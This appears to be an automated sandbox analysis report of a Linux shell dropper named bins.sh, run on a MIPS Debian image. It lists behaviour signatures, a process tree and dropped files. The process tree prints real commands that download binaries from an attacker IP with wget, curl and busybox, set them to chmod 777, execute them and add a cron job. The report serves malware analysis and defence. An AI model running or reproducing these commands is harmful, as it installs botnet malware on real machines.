Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    08/11/2024, 06:32

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241108-halx3sxeqc
  • SHA256 4a86e420582fbea156feb90f7f4fe4d898db26bcdb8d2cc818f044e2a272ce48
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2035) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://87.120.84.230/bins/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
          2⤵
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
          2⤵
          • Writes file to tmp directory
          PID:738
        • /bin/chmod
          chmod 777 G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
          ./G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/rm
          rm G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://87.120.84.230/bins/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
            2⤵
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/chmod
            chmod 777 4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
            2⤵
            • File and Directory Permissions Modification
            PID:746
          • /tmp/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
            ./4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
            2⤵
            • Executes dropped EXE
            PID:747
          • /bin/rm
            rm 4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
            2⤵
              PID:749
            • /usr/bin/wget
              wget http://87.120.84.230/bins/IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
              2⤵
              • Writes file to tmp directory
              PID:751
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
              2⤵
              • Writes file to tmp directory
              PID:761
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
              2⤵
              • Writes file to tmp directory
              PID:784
            • /bin/chmod
              chmod 777 IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
              2⤵
              • File and Directory Permissions Modification
              PID:792
            • /tmp/IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
              ./IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:794
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:796
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:797
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:798
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:800
                  • /bin/rm
                    rm IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
                    2⤵
                      PID:806
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
                      2⤵
                        PID:809
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
                        2⤵
                          PID:820
                        • /bin/busybox
                          /bin/busybox wget http://87.120.84.230/bins/W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
                          2⤵
                          • Writes file to tmp directory
                          PID:891
                        • /bin/chmod
                          chmod 777 W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
                          2⤵
                          • File and Directory Permissions Modification
                          PID:892
                        • /tmp/W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
                          ./W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
                          2⤵
                          • Executes dropped EXE
                          PID:893
                        • /bin/rm
                          rm W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
                          2⤵
                            PID:895
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/JTPTaAJRPvZcz41kssnkX2DjgQOccrCQvd
                            2⤵
                              PID:896
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/JTPTaAJRPvZcz41kssnkX2DjgQOccrCQvd
                              2⤵
                                PID:897
                              • /bin/busybox
                                /bin/busybox wget http://87.120.84.230/bins/JTPTaAJRPvZcz41kssnkX2DjgQOccrCQvd
                                2⤵
                                • Writes file to tmp directory
                                PID:898
                              • /bin/chmod
                                chmod 777 JTPTaAJRPvZcz41kssnkX2DjgQOccrCQvd
                                2⤵
                                • File and Directory Permissions Modification
                                PID:899
                              • /tmp/JTPTaAJRPvZcz41kssnkX2DjgQOccrCQvd
                                ./JTPTaAJRPvZcz41kssnkX2DjgQOccrCQvd
                                2⤵
                                • Executes dropped EXE
                                PID:900
                              • /bin/rm
                                rm JTPTaAJRPvZcz41kssnkX2DjgQOccrCQvd
                                2⤵
                                  PID:902
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/jATdwFvSgEeFn5fRroQ1llv14q3AWK1L9Y
                                  2⤵
                                    PID:903
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/jATdwFvSgEeFn5fRroQ1llv14q3AWK1L9Y
                                    2⤵
                                      PID:904

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne

                                        • Path /tmp/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
                                        • Size 117KB
                                        • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                        • MD5 SHA1 SHA512 SSDEEP

                                        G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r

                                        • Path /tmp/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
                                        • Size 151KB
                                        • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                        • MD5 SHA1 SHA512 SSDEEP

                                        IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8

                                        • Path /tmp/IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
                                        • Size 151KB
                                        • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                        • MD5 SHA1 SHA512 SSDEEP

                                        JTPTaAJRPvZcz41kssnkX2DjgQOccrCQvd

                                        • Path /tmp/JTPTaAJRPvZcz41kssnkX2DjgQOccrCQvd
                                        • Size 111KB
                                        • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                        • MD5 SHA1 SHA512 SSDEEP

                                        W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise

                                        • Path /tmp/W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
                                        • Size 177KB
                                        • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                        • MD5 SHA1 SHA512 SSDEEP

                                        tmp.7pvYky

                                        • Path /var/spool/cron/crontabs/tmp.7pvYky
                                        • Size 210B
                                        • SHA256 af7c0b1e648aa91aa151e700e552ebad7e927c1846284ef8a649f691857b2060
                                        • MD5 SHA1 SHA512